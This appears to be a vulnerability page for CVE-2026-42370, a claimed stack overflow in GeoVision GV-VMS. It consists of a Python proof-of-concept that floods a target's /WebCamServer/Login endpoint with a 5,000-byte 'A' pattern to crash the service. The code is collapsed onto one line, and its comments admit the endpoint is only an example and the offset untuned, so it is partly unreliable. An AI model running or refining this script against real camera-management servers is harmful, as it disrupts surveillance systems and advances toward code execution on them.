CVE-2026-42370 GeoVision GV-VMS远程栈溢出致代码执行漏洞

import requests def check_vulnerability(target_ip): """ PoC for CVE-2026-42370 This script sends a crafted HTTP request to trigger the stack overflow. """ target_url = f"http://{target_ip}/WebCamServer/Login" # Example endpoint # Crafting payload with a large pattern to trigger overflow # Adjust length based on specific offset analysis payload = b"A" * 5000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "CVE-2026-42370-Scanner" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=5) # If the service crashes, the connection might be reset or timeout print("[+] Request sent. Check if the service has crashed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred (Service might have crashed): {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: check_vulnerability(sys.argv[1])